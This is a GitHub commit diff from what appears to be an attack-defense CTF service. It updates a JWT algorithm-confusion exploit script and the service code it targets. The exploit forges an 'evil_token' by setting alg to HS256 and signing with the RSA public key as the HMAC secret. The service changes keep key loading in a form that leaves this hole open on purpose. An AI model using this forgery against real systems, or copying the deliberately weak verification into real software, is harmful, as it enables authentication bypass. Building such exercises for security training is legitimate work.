Skip to content

Commit

Permalink
changes so exploit works and service works fine
Browse files Browse the repository at this point in the history
  • Loading branch information
SirGankalot committed Jun 17, 2024
1 parent b1be7fa commit 37b9e71
Show file tree
Hide file tree
Showing 3 changed files with 46 additions and 33 deletions.
50 changes: 23 additions & 27 deletions exploit/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,12 @@
from Crypto.Hash import HMAC, SHA256
import base64
import datetime
import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend

# ----- SETUP -----

Expand All @@ -13,40 +19,30 @@

print("time taken to generate", datetime.datetime.now()-time)

# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')

# Sanity check (-> this is normal behavior)
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
def format_rsa_public_key(key_str):
#byte_len = 32 #64
byte_len = 64
key_str = key_str.replace(" ", "").replace("\n", "")
formatted_key = "-----BEGIN RSA PUBLIC KEY-----\n"

# Split the key into 64-character lines
for i in range(0, len(key_str), byte_len):
formatted_key += key_str[i:i+byte_len] + "\n"

formatted_key += "-----END RSA PUBLIC KEY-----\n"
return formatted_key


# decode the token using the public key
claims = jwt.decode(token, PUBKEY)
print(claims)
assert not claims["pwned"]
public_key = "-----BEGIN RSA PUBLIC KEY-----\nMEcCQE3BZ5v5u6o5QxbMhNhrIEHEIXZyldR6dXk8jL5bOBqUjP5fykebKVW+7oID\nQE5/DKK5Spw/49n6CL+ncH4RgIcCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"
PUBKEY = RSA.import_key(public_key)
PUBKEY = PUBKEY.public_key().export_key(format='PEM')
print(PUBKEY)


# ---- CLIENT SIDE -----

# without knowing the private key, a valid token can be constructed
# YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"email":"1111@11112132313123dawdaw"}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)

# ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
print("VULNERABLE")
25 changes: 21 additions & 4 deletions service/src/auth.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
import base64
import datetime
import rsa
from Crypto.PublicKey import RSA
from cryptography.hazmat.primitives.asymmetric import rsa as crsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
Expand All @@ -26,11 +27,26 @@
auth = Blueprint('auth', __name__)


def key_loader(key):
def key_loader_public(key):
try:
return serialization.load_pem_private_key(key.encode('utf-8'),password=None,backend=default_backend())
# key = serialization.load_pem_private_key(key.encode('utf-8'),password=None,backend=default_backend())
# return key
PUBKEY = RSA.import_key(key)
PUBKEY = PUBKEY.public_key().export_key(format='PEM')
return PUBKEY
except:
return serialization.load_pem_public_key(key.encode('utf-8'),backend=default_backend())
return None


def key_loader_priv(key):
try:
# key = serialization.load_pem_public_key(key.encode('utf-8'),backend=default_backend())
# return key
PRIVKEY = RSA.import_key(key)
PRIVKEY = PRIVKEY.export_key(format='PEM')
return PRIVKEY
except:
return None


@auth.route('/login', methods=['GET', 'POST'])
Expand Down Expand Up @@ -137,7 +153,7 @@ async def backup():
return render_template("backup.html", user=None)
public_key = get_user.public_key.replace("\\n", "\n")
try:
public_key = key_loader(public_key)
public_key = key_loader_public(public_key)
except:
flash('Invalid public key!', category='error')
return render_template("backup.html", user=None)
Expand All @@ -154,6 +170,7 @@ async def backup():
return render_template("backup.html", user=get_user)
else:
flash('Backup Login failed!', category='error')
return render_template("backup.html", user=None)
else:
return render_template("backup.html", user=None)

Expand Down
4 changes: 2 additions & 2 deletions service/src/views.py
Original file line number Diff line number Diff line change
Expand Up @@ -241,12 +241,12 @@ async def profil():
else:
private_key = PRIVKEY.replace("\\n", "\n")
try:
private_key = auth.key_loader(private_key)
private_key = auth.key_loader_priv(private_key)
except:
flash('Invalid private key!', category='error')
return render_template("profil.html", user=current_user, groups=Note_groups, PRIVKEY=PRIVKEY, PUBKEY=PUBKEY)
token = jwt.encode({"alg": "RS256"}, {"email":current_user.email}, private_key)
current_user.token = token
current_user.token = token.decode('utf-8')
db.session.commit()
flash('Token created!', category='success')
return render_template("profil.html", user=current_user, groups=Note_groups, PRIVKEY=PRIVKEY, PUBKEY=PUBKEY)
Expand Down

0 comments on commit 37b9e71

Please sign in to comment.